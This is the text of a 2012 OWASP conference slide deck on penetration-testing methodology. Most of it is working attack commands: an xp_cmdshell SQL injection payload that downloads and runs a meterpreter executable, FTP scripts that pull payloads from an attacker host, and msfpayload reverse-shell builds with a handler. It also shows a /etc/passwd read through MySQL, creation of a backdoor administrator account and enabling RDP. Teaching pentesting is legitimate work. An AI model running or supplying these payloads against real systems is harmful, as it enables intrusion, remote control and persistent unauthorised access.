Public exploit held private : Penetration Testing the researcher’s way

OWASP InfoSec India Conference 2012
August 24th – 25th, 2012 The OWASP Foundation
Hotel Crowne Plaza, Gurgaon http://www.owasp.org
http://www.owasp.in

Public exploit held private :
Penetration Testing the
researcher’s way
Tamaghna Basu
GCIH, OSCP, RHCE, CEH, ECSA
tamaghna.basu@gmail.com

OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India)

DISCLAIMER!

This presentation contains materials on the evolution
of a pen tester which is solely based on the
perspective of the speaker which might contradict
with opinions of individuals.

All the scenarios explained here are fictional even
though they might resemble to realistic situations.

Even though no harm intended, if it causes any
discomfort to you spiritually and/or physically, the
speaker, organizers, hotel authority, climate control
people and the person sitting next to you will not be
responsible for that.

OWASP InfoSec India Conference 2012. Hotel Crowne Plaza, Gurgaon (India) 2

Setting the context

Why Pentesting?
How do you do it?
 To VA or to PT… That’s the question.


Setting the context

 Terminologies
 Vulnerability
 Exploit
 Payload
 Reverse shell


Basics

Pentesting
 Internal
 External
 Automated -> review the report -> get the
final report
 Manual -> run few basic tools -> get the
report done


Basics…

Pentesting Steps
 Recon and Scanning
 Exploit
 Maintain Access
 Clean up


Scanning
Why?
 Identify the live hosts
 OS fingerprinting
 Service fingerprinting


Scanning
Desi Jugaad
 Ping sweep / shell scripts
 Decent tools (But indecent usage)
 NMAP (behold the power of NSE)
 Others?


Desi Jugaad (Local Hack)

Ping Sweep
Windows

FOR /L %i in (1,1,255) do @ping -n 1 192.168.153.%i | find "Reply“

Linux

#!/bin/bash

for ip in $(seq 1 254); do

ping -c 1 192.168.15.$ip | grep "bytes from" | cut -d" " -f 4 | cut -d":" -f 1 &

done


Scanning
Problem!
 It is taking too long to scan, need to go for
lunch…
 Is it really a windows box but looks like a
Linux box? Or which version?


Desi Jugaad
 Nmap
 nmap –sV 192.168.15.201
 nmap –O 192.168.15.201
 nmap –A 192.168.15.201
 nmap –p 1-65535 –sV 192.168.15.201
 Nmap –p T:80 192.168.15.200-250
 Zenmap
 Unicorn scan - us -H -msf -Iv 192.168.13.201 -p 1-
65535

Nmap Scripts

/usr/locale/share/nmap/scripts


Nmap Scripts

• Shared files and folders
• nmap --script=smb-enum-shares 192.168.80.129

• Check for SMB vulnerabilities
• nmap --script=smb-check-vulns 192.168.80.129

• Scan for machines that use default Ms sql username,password
• nmap --script=ms-sql-info 192.168.80.129


Scanning
I have Nessus. Why to go through so much
pain?
I don’t have Nessus. What to do?


Exploit
 Motive
 To gain access
 Data
 Command execution
 Destroy everything!
 Categories
 Service level
 OS

Exploit

What to exploit?
 FTP?
 HTTP?
 SNMP?
 What else?


Exploit

 FTP
 Server Exploit – Buffer Overflow
 Fuzzing???
 Bruteforce
SNMP
 What to do?


FTP Tips
Windows

echo open 192.168.12.124 > ftp.txt

echo ftp>> ftp.txt

echo ftp>> ftp.txt

echo bin >> ftp.txt

echo get met2.exe >> ftp.txt

echo bye >> ftp.txt

ftp -s:ftp.txt


FTP Tips
Linux

echo quote user ftp>> ftp.txt

quote user ftp

echo quote pass ftp>>ftp.txt

echo verbose>>ftp.txt

echo binary >> ftp.txt

echo get exploit.c >> ftp.txt

echo bye >> ftp.txt

cat ftp.txt|ftp -n 192.168.12.124


Exploit

 HTTP
 Server Exploit
 Command Execution
 Web Shells
 SQLi


HTTP


SQLi Tips

' or 1=1;exec master..xp_cmdshell 'echo open
192.168.12.124> ftpmet.txt';exec
master..xp_cmdshell 'echo test>>
ftpmet.txt';exec master..xp_cmdshell 'echo
test>> ftpmet.txt';exec master..xp_cmdshell
'echo bin>> ftpmet.txt';exec
master..xp_cmdshell 'echo get met.exe>>
ftpmet.txt';exec master..xp_cmdshell 'echo
bye';exec master..xp_cmdshell 'ftp -
s:ftpmet.txt';exec master..xp_cmdshell
'met.exe';--

SQLi Tips

My SQL non-interactive
 "mysql --host=127.0.0.1 --user=root --
password=‘password' -e "use mysql; show
tables;"
 "mysql --host=127.0.0.1 --user=root --
password=‘password' -e "SELECT
LOAD_FILE('/etc/passwd') INTO dumpfile
'/tmp/passwd';"


Exploit

 Metasploit
 Use Exploit
 Set payload
 exploit
 Any other options?
How about writing own exploit (at free time)
(out of scope)


L33t love story

 Exploit’s love letter to the machine
 PAYLOAD…
Which courier?
 MSF – set payload
 Custom program – msfpayload
 Bad characters
 Executable - msfpayload


Payload Generator
 meterpreter msfpayload
options:
./msfpayload windows/meterpreter/reverse_tcp O

Create exe:
./msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.14.15 LPORT=4321 X > /var/ftp/met.exe

Generate shellcode:
./msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.14.15 LPORT=4321 C


From msf:
use exploit/multi/handler
set PAYLOAD
windows/meterpreter/reverse_tcp
set LHOST 192.168.1.40
set LPORT 80
show options
exploit


Exploit

I am in, what to do?
 Secure access?
 Add user
 Open a port
 I like it the reverse way
 meterpreter
 Dude, did you get root/admin acces?


Add User
 Windows Shell
net user hacker hacker123 /add
net localgroup administrators hacker /add
 Meterpreter
use incognito
add_user hacker hacker123
add_localgroup_user Administrators hacker
 RDP enable reg add
"HKEY_LOCAL_MACHINESYSTEMCurrentControlSet
ControlTerminal Server" /v fDenyTSConnections /t
REG_DWORD /d 0 /f


Privilege Escalation

 Categories
 Service level
 OS
Problem!
 How can I transfer my exploit there?
 Netcat
 FTP


Kernel Exploits
 Linux Kernel <= 2.6.36-rc8 http://www.exploit-
db.com/exploits/15285/
 Linux Kernel 2.4/2.6 http://www.exploit-
 Linux Kernel 2.6 http://www.exploit-
 Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5
http://www.exploit-db.com/exploits/9844/


Windows Exploits
 Windows Vista, 7, 2008 http://www.exploit-
 Windows XP, 2003 http://www.exploit-
 Linux + NT priv esc http://www.exploit-
 Windows XP SP2, SP3 http://www.exploit-


Pivoting…

 Huh?
Why do I need it?
How do I do it?
 nc + port forwarding
 Ssh tunneling


Fuzzing…

 My favorite but last thing I prefer to do on
my own
 Python rocks!
 Basic
 Advanced
 SEH handler
 Egg hunting shellcode


Did I miss anything?

 Questions
 Perspectives
 Comments

twitter.com/titanlambda
linkedin.com/in/tamaghnabasu


Thank you

twitter.com/titanlambda
linkedin.com/in/tamaghnabasu

36


Public exploit held private : Penetration Testing the researcher’s way

Recommended

Recommended

More Related Content

Similar to Public exploit held private : Penetration Testing the researcher’s way

Similar to Public exploit held private : Penetration Testing the researcher’s way (20)

Recently uploaded

Recently uploaded (20)

Public exploit held private : Penetration Testing the researcher’s way